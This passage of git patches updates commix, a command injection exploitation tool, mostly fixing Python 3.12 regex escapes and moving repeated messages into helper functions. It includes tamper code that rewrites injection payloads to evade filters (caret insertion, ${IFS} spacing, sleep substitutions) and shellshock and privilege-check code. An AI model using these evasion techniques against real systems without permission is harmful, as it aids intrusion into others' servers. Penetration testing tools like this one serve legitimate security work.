Fixing some Python 3.12 naggings --- src/core/injections/controller/checks.py | 4 ++-- .../results_based/techniques/classic/cb_injector.py | 2 +- .../semiblind/techniques/file_based/fb_handler.py | 2 +- src/core/requests/headers.py | 2 +- src/core/requests/parameters.py | 6 +++--- src/core/requests/requests.py | 2 +- src/thirdparty/colorama/ansitowin32.py | 4 ++-- src/utils/common.py | 4 ++-- src/utils/menu.py | 8 ++++---- src/utils/settings.py | 11 +++++------ 10 files changed, 22 insertions(+), 23 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 58ccb214ee..33a42411b0 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -727,8 +727,8 @@ def escaped_cmd(cmd): cmd = cmd.replace("\\\"","\"") if "\'" in cmd : cmd = cmd.replace("\'","'") - if "\$" in cmd : - cmd = cmd.replace("\$","$") + if r"\$" in cmd : + cmd = cmd.replace(r"\$","$") return cmd """ diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index de6a02ac17..b9aaa2d3fa 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -290,7 +290,7 @@ def injection_results(response, TAG, cmd): shell = re.findall(r"" + "(.*)" + TAG + TAG, shell) # Clear junks shell = [tags.replace(TAG + TAG , settings.SINGLE_WHITESPACE) for tags in shell] - shell = [backslash.replace("\/","/") for backslash in shell] + shell = [backslash.replace(r"\/","/") for backslash in shell] except UnicodeDecodeError: pass if settings.TARGET_OS == settings.OS.WINDOWS: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 867fd6911f..6fb34663bc 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -98,7 +98,7 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons # Set temp path if settings.TARGET_OS == settings.OS.WINDOWS: if "microsoft-iis" in settings.SERVER_BANNER.lower(): - settings.TMP_PATH = "C:\\Windows\TEMP\\" + settings.TMP_PATH = r"C:\\Windows\TEMP\\" else: settings.TMP_PATH = "%temp%\\" else: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 2a0703239f..f2245d56f7 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -327,7 +327,7 @@ def do_check(request): except _urllib.error.HTTPError as e: try: authline = e.headers.get('www-authenticate', '') - authobj = re.match('''(\w*)\s+realm=(.*),''',authline).groups() + authobj = re.match(r'''(\w*)\s+realm=(.*),''',authline).groups() realm = authobj[1].split(',')[0].replace("\"", "") user_pass_pair = menu.options.auth_cred.split(":") username = user_pass_pair[0] diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 45e3b4636b..697ac3d95a 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -183,7 +183,7 @@ def vuln_GET_param(url): value = ''.join(value) vuln_parameter = re.sub(r"/(.*)/", "", value) - elif re.search(r"" + settings.PARAMETER_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, url) or \ + elif re.search(r"" + settings.PARAMETER_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, url) or \ re.search(r"\?(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , url): pairs = url.split("?")[1].split(settings.PARAMETER_DELIMITER) for param in range(0,len(pairs)): @@ -479,7 +479,7 @@ def vuln_POST_param(parameter, url): # Regular POST data format. else: - if re.search(r"" + settings.PARAMETER_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, parameter) or \ + if re.search(r"" + settings.PARAMETER_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, parameter) or \ re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , parameter): pairs = parameter.split(settings.PARAMETER_DELIMITER) for param in range(0,len(pairs)): @@ -645,7 +645,7 @@ def multi_params_get_value(parameter): """ def specify_cookie_parameter(cookie): # Specify the vulnerable cookie parameter - if re.search(r"" + settings.COOKIE_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, cookie) or \ + if re.search(r"" + settings.COOKIE_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, cookie) or \ re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , cookie): pairs = cookie.split(settings.COOKIE_DELIMITER) for param in range(0,len(pairs)): diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index f1a902c217..ac04798732 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -117,7 +117,7 @@ def estimate_response_time(url, timesec, http_request_method): auth_type = auth_line.split()[0] # Checking for the realm attribute. try: - auth_obj = re.match('''(\w*)\s+realm=(.*)''', auth_line).groups() + auth_obj = re.match(r'''(\w*)\s+realm=(.*)''', auth_line).groups() realm = auth_obj[1].split(',')[0].replace("\"", "") except: realm = False diff --git a/src/thirdparty/colorama/ansitowin32.py b/src/thirdparty/colorama/ansitowin32.py index 2c9cea763c..d0ef04efee 100644 --- a/src/thirdparty/colorama/ansitowin32.py +++ b/src/thirdparty/colorama/ansitowin32.py @@ -46,8 +46,8 @@ class AnsiToWin32(object): sequences from the text, and if outputting to a tty, will convert them into win32 function calls. ''' - ANSI_CSI_RE = re.compile('\001?\033\[((?:\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer - ANSI_OSC_RE = re.compile('\001?\033\]((?:.|;)*?)(\x07)\002?') # Operating System Command + ANSI_CSI_RE = re.compile(r'\001?\033\[((?:\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer + ANSI_OSC_RE = re.compile(r'\001?\033\]((?:.|;)*?)(\x07)\002?') # Operating System Command def __init__(self, wrapped, convert=None, strip=None, autoreset=False): # The wrapped stream (normally sys.stdout or sys.stderr) diff --git a/src/utils/common.py b/src/utils/common.py index 673e3ec8b7..2e7803fd12 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -231,7 +231,7 @@ def create_github_issue(err_msg, exc_msg): """ def mask_sensitive_data(err_msg): for item in settings.SENSITIVE_OPTIONS: - match = re.search(r"(?i)commix.+("+str(item)+")(\s+|=)([^-]+)", err_msg) + match = re.search(r"(?i)commix.+(" + str(item) + r")(\s+|=)([^-]+)", err_msg) if match: err_msg = err_msg.replace(match.group(3), '*' * len(match.group(3)) + settings.SINGLE_WHITESPACE) @@ -346,7 +346,7 @@ def unhandled_exception(): err_msg += "Operating system: " + os.name + "\n" err_msg += "Command line: " + re.sub(r".+?\bcommix\.py\b", "commix.py", " ".join(sys.argv)) + "\n" err_msg = mask_sensitive_data(err_msg) - exc_msg = re.sub(r'".+?[/\\](\w+\.py)', "\"\g<1>", exc_msg) + exc_msg = re.sub(r'".+?[/\\](\w+\.py)', r"\"\g<1>", exc_msg) print(settings.print_critical_msg(err_msg + "\n" + exc_msg.rstrip())) create_github_issue(err_msg, exc_msg[:]) diff --git a/src/utils/menu.py b/src/utils/menu.py index 679a0a636a..d1e3c7f295 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -30,11 +30,11 @@ The commix's banner. """ def banner(): - print(""" __ + print(r""" __ ___ ___ ___ ___ ___ ___ /\_\ __ _ - /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + settings.COLOR_VERSION + """ -/\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\\/> Date: Mon, 27 May 2024 08:44:24 +0300 Subject: [PATCH 0451/1023] Fixing some (more) Python 3.12 naggings --- src/core/modules/shellshock/shellshock.py | 2 +- src/core/tamper/backslashes.py | 2 +- src/core/tamper/caret.py | 6 +++--- src/core/tamper/sleep2timeout.py | 2 +- src/core/tamper/sleep2usleep.py | 2 +- src/core/tamper/space2ifs.py | 2 +- src/utils/settings.py | 2 +- 7 files changed, 9 insertions(+), 9 deletions(-) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 652ad70ff1..4fdaabaf57 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -91,7 +91,7 @@ def enumeration(url, cve, check_header, filename): if menu.options.is_root: checks.print_enumenation().check_privs_msg() - cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT) + cmd = re.findall(r"" + r"\$(.*)", settings.IS_ROOT) cmd = ''.join(cmd) cmd = checks.remove_parenthesis(cmd) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 44d3854e5f..753ed59ba8 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -19,7 +19,7 @@ from src.utils import settings """ -About: Adds back slashes (\) between the characters of the generated payloads. +About: Adds back slashes ("\") between the characters of the generated payloads. Notes: This tamper script works against Unix-like target(s). """ diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index c5421493b1..cc965b166b 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -31,10 +31,10 @@ def tamper(payload): def add_caret_symbol(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - if re.compile("\w+").findall(payload): + if re.compile(r"\w+").findall(payload): long_string = "" - if len(max(re.compile("\w+").findall(payload), key=lambda word: len(word))) >= 5000: - long_string = max(re.compile("\w+").findall(payload), key=lambda word: len(word)) + if len(max(re.compile(r"\w+").findall(payload), key=lambda word: len(word))) >= 5000: + long_string = max(re.compile(r"\w+").findall(payload), key=lambda word: len(word)) rep = { "^^": "^", '"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"', diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 3d7723b988..afbdffc64d 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -35,7 +35,7 @@ def tamper(payload): def sleep_to_timeout_ping(payload): settings.TAMPER_SCRIPTS[__tamper__] = True if settings.TARGET_OS != settings.OS.WINDOWS: - for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + "([1-9]\d+|[0-9])", payload): + for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + r"([1-9]\d+|[0-9])", payload): payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(settings.SINGLE_WHITESPACE,settings.WHITESPACES[0])) payload = payload.replace("timeout" + settings.WHITESPACES[0] + "0" + settings.WHITESPACES[0] + "ping" + settings.WHITESPACES[0] + "localhost", "timeout" + settings.WHITESPACES[0] + "0") else: diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 17cad0a93b..e209b5035f 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -33,7 +33,7 @@ def tamper(payload): def sleep_to_usleep(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + "([1-9]\d+|[0-9])", payload): + for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + r"([1-9]\d+|[0-9])", payload): sleep_to_usleep = "u" + match.group(0).split(settings.WHITESPACES[0])[0] if match.group(0).split(settings.WHITESPACES[0])[1] != "0": usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] + "0" * 6 diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index c87e75e076..fd61c22fcf 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -28,7 +28,7 @@ def tamper(payload): if space2ifs in settings.WHITESPACES[0] and \ settings.EVAL_BASED_STATE != False: - settings.WHITESPACES[0] = "\${IFS}" + settings.WHITESPACES[0] = r"\${IFS}" if settings.TARGET_OS != settings.OS.WINDOWS: settings.TAMPER_SCRIPTS[__tamper__] = True if settings.WHITESPACES[0] == "%20": diff --git a/src/utils/settings.py b/src/utils/settings.py index 6195207272..1d9d76b6ba 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "54" +REVISION = "55" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7af64619fc7fe6cdde2214c0e49f69596082ece9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 28 May 2024 07:17:26 +0300 Subject: [PATCH 0452/1023] Minor update --- .../injections/blind/techniques/time_based/tb_enumeration.py | 2 +- src/core/injections/controller/controller.py | 1 + .../results_based/techniques/classic/cb_enumeration.py | 2 +- .../results_based/techniques/eval_based/eb_enumeration.py | 2 +- .../semiblind/techniques/file_based/fb_enumeration.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_enumeration.py | 2 +- src/utils/settings.py | 4 ++-- 7 files changed, 8 insertions(+), 7 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 79c8795713..d2334dea29 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -127,7 +127,7 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese checks.print_current_user(cu_account, filename, _) """ -Check if the current user has excessive privileges. +Check if the Current user is privileged. """ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 7d101666e6..3743de54bb 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -244,6 +244,7 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m if (len(menu.options.tech) == 0 or "f" in menu.options.tech): if fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: settings.FILE_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True + checks.skip_testing(filename, url) else: settings.FILE_BASED_STATE = False if settings.FILE_BASED_STATE == None: diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index dcf9a71d09..6065f91873 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -159,7 +159,7 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method checks.print_current_user(cu_account, filename, _) """ -Check if the current user has excessive privileges. +Check if the Current user is privileged. """ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 580951ba3b..9a6d91e337 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -162,7 +162,7 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method checks.print_current_user(cu_account, filename, _) """ -Check if the current user has excessive privileges. +Check if the Current user is privileged. """ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 90efbed176..2a1b5745a8 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -141,7 +141,7 @@ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, h """ -Check if the current user has excessive privileges. +Check if the Current user is privileged. """ def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index ad5ec1d5d5..bd9130c6e4 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -129,7 +129,7 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese """ -Check if the current user has excessive privileges. +Check if the Current user is privileged. """ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False diff --git a/src/utils/settings.py b/src/utils/settings.py index 1d9d76b6ba..ff04c8230d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "55" +REVISION = "56" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -573,7 +573,7 @@ class OS(object): HOSTNAME = "hostname" WIN_HOSTNAME = "echo %COMPUTERNAME%" -# Check if current user has excessive privileges +# Check if Current user is privileged # Unix-like: root IS_ROOT = "echo $(id -u)" # Windows: admin From 076e73b8f459d7ea300c4427674b926f49af4031 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 29 May 2024 07:56:28 +0300 Subject: [PATCH 0453/1023] Minor code refactoring --- .../blind/techniques/time_based/tb_handler.py | 56 +++++----------- src/core/injections/controller/checks.py | 66 +++++++++++++++++++ src/core/injections/controller/controller.py | 45 ++++++------- .../techniques/classic/cb_handler.py | 32 ++------- .../techniques/eval_based/eb_handler.py | 38 +++-------- .../techniques/file_based/fb_handler.py | 24 +++---- .../techniques/tempfile_based/tfb_handler.py | 50 +++++--------- src/utils/session_handler.py | 14 +--- src/utils/settings.py | 18 ++++- 9 files changed, 163 insertions(+), 180 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 5388687dd9..1c48da187a 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -56,19 +56,16 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r export_injection_info = False how_long = 0 - if settings.VERBOSITY_LEVEL != 0: - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - print(settings.print_info_msg(info_msg)) + checks.testing_technique_title(injection_type, technique) + + # Check if defined "--url-reload" option. + if menu.options.url_reload == True: + checks.reload_url_msg(technique) # Check if defined "--maxlen" option. if menu.options.maxlen: settings.MAXLEN = maxlen = menu.options.maxlen - # Check if defined "--url-reload" option. - if menu.options.url_reload == True: - warn_msg = "The '--url-reload' option is not available in " + technique + "." - print(settings.print_warning_msg(warn_msg)) - #whitespace = checks.check_whitespaces() # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) @@ -90,16 +87,13 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.error_loading_session_file() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) + cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type=settings.INJECTION_TYPE.RESULTS_BASED_CI, technique=settings.INJECTION_TECHNIQUE.CLASSIC) + checks.testing_technique_title(injection_type, technique) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 @@ -230,9 +224,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + checks.injection_process(injection_type, technique, percent) # Check if false positive fixation is True. if false_positive_fixation: @@ -273,25 +265,16 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r percent = "" else: break + # False positive else: - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + percent = ".. (" + str(float_percent) + "%)" + checks.injection_process(injection_type, technique, percent) continue else: - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + percent = ".. (" + str(float_percent) + "%)" + checks.injection_process(injection_type, technique, percent) continue - # if settings.VERBOSITY_LEVEL == 0: - # info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - # sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - # sys.stdout.flush() except (KeyboardInterrupt, SystemExit): print(settings.SINGLE_WHITESPACE) @@ -311,9 +294,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + checks.injection_process(injection_type, technique, percent) else: percent = "" else: @@ -470,9 +451,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r checks.no_readline_module() while True: if false_positive_warning: - warn_msg = "Due to unexpected time delays, it is highly " - warn_msg += "recommended to enable the 'reverse_tcp' option.\n" - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) + checks.time_delay_recommendation() false_positive_warning = False if not settings.READLINE_ERROR: checks.tab_autocompleter() @@ -541,8 +520,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r def exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): # Check if attack is based on time delays. if not settings.TIME_RELATIVE_ATTACK : - warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) + checks.time_relative_attaks_msg() settings.TIME_RELATIVE_ATTACK = True if url_time_response >= settings.SLOW_TARGET_RESPONSE: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 33a42411b0..ca5b915a75 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -61,6 +61,8 @@ def exit(): print(settings.execution("Ending")) os._exit(0) + + """ Detection of WAF/IPS protection. """ @@ -391,6 +393,38 @@ def save_cmd_history(): warn_msg = "There was a problem writing the history file '" + cli_history + "'." print(settings.print_warning_msg(warn_msg)) +""" +Testing technique (title) +""" +def testing_technique_title(injection_type, technique): + if settings.VERBOSITY_LEVEL != 0: + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " + print(settings.print_info_msg(info_msg)) + +""" +Injection process (percent) +""" +def injection_process(injection_type, technique, percent): + if settings.VERBOSITY_LEVEL == 0: + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.flush() + +""" +Percentage calculation +""" +def result_based_injection_percentage_calculation(float_percent, no_result, shell): + if float(float_percent) >= 99.9 or str(float_percent) == "100.0": + if no_result == True: + percent = settings.FAIL_STATUS + else: + percent = ".. (" + str(float_percent) + "%)" + elif len(shell) != 0: + percent = settings.info_msg + else: + percent = ".. (" + str(float_percent) + "%)" + return percent + """ Load commands from history. """ @@ -1125,6 +1159,38 @@ def http_auth_err_msg(): print(settings.print_critical_msg(err_msg)) raise SystemExit() +""" +Error while accessing session file +""" +def error_loading_session_file(): + err_msg = "An error occurred while accessing session file ('" + err_msg += settings.SESSION_FILE + "'). " + err_msg += "Use the '--flush-session' option." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + +""" +Message regarding unexpected time delays +""" +def time_delay_recommendation(): + warn_msg = "Due to unexpected time delays, it is highly " + warn_msg += "recommended to enable the 'reverse_tcp' option.\n" + sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) + +""" +Message regarding time relative attcks +""" +def time_relative_attaks_msg(): + warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." + print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) + +""" +Check if defined "--url-reload" option. +""" +def reload_url_msg(technique): + warn_msg = "On " + technique + "technique, the '--url-reload' option is not available." + print(settings.print_warning_msg(warn_msg)) + """ Decision if the user-defined HTTP authenticatiob type, is different than the one identified by heuristics. diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 3743de54bb..01a8d7162e 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -53,7 +53,7 @@ def basic_level_checks(): def check_for_stored_sessions(url, http_request_method): if not menu.options.ignore_session: if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: - if not menu.options.tech: + if session_handler.applied_techniques(url, http_request_method): settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES if session_handler.check_stored_parameter(url, http_request_method): @@ -135,6 +135,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, info_msg = "Heuristic (basic) tests shows that " info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + possible_os + "')." print(settings.print_bold_info_msg(info_msg)) + settings.SKIP_CODE_INJECTIONS = True break settings.CLASSIC_STATE = False @@ -149,8 +150,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, """ def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): check_parameter = check_parameter.lstrip().rstrip() - injection_type = "results-based dynamic code evaluation" - technique = "dynamic code evaluation technique" + injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CE + technique = settings.INJECTION_TECHNIQUE.DYNAMIC_CODE technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "" settings.EVAL_BASED_STATE = True try: @@ -185,8 +186,8 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t Check if it's exploitable via classic command injection technique. """ def classic_command_injection_technique(url, timesec, filename, http_request_method): - injection_type = "results-based OS command injection" - technique = "classic command injection technique" + injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CI + technique = settings.INJECTION_TECHNIQUE.CLASSIC settings.CLASSIC_STATE = None if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "c" in menu.options.tech): @@ -195,33 +196,33 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met checks.skip_testing(filename, url) else: settings.CLASSIC_STATE = False - if settings.CLASSIC_STATE == None: + if settings.CLASSIC_STATE == None or settings.SKIP_COMMAND_INJECTIONS: checks.skipping_technique(technique, injection_type, settings.CLASSIC_STATE) """ Check if it's exploitable via dynamic code evaluation technique. """ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method): - injection_type = "results-based dynamic code evaluation" - technique = "dynamic code evaluation technique" + injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CE + technique = settings.INJECTION_TECHNIQUE.DYNAMIC_CODE settings.EVAL_BASED_STATE = None if not settings.SKIP_CODE_INJECTIONS: - if (len(menu.options.tech) == 0 or "e" in menu.options.tech) or settings.SKIP_COMMAND_INJECTIONS: + if (len(menu.options.tech) == 0 or "e" in menu.options.tech): if eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: settings.EVAL_BASED_STATE = True if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: checks.skip_testing(filename, url) else: settings.EVAL_BASED_STATE = False - if settings.EVAL_BASED_STATE == None: + if settings.EVAL_BASED_STATE == None or not settings.SKIP_CODE_INJECTIONS: checks.skipping_technique(technique, injection_type, settings.EVAL_BASED_STATE) """ Check if it's exploitable via time-based command injection technique. """ def timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): - injection_type = "blind OS command injection" - technique = "time-based command injection technique" + injection_type = settings.INJECTION_TYPE.BLIND + technique = settings.INJECTION_TECHNIQUE.TIME_BASED settings.TIME_BASED_STATE = None if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "t" in menu.options.tech): @@ -230,15 +231,15 @@ def timebased_command_injection_technique(url, timesec, filename, http_request_m checks.skip_testing(filename, url) else: settings.TIME_BASED_STATE = False - if settings.TIME_BASED_STATE == None: + if settings.TIME_BASED_STATE == None or settings.SKIP_COMMAND_INJECTIONS: checks.skipping_technique(technique, injection_type, settings.TIME_BASED_STATE) """ Check if it's exploitable via 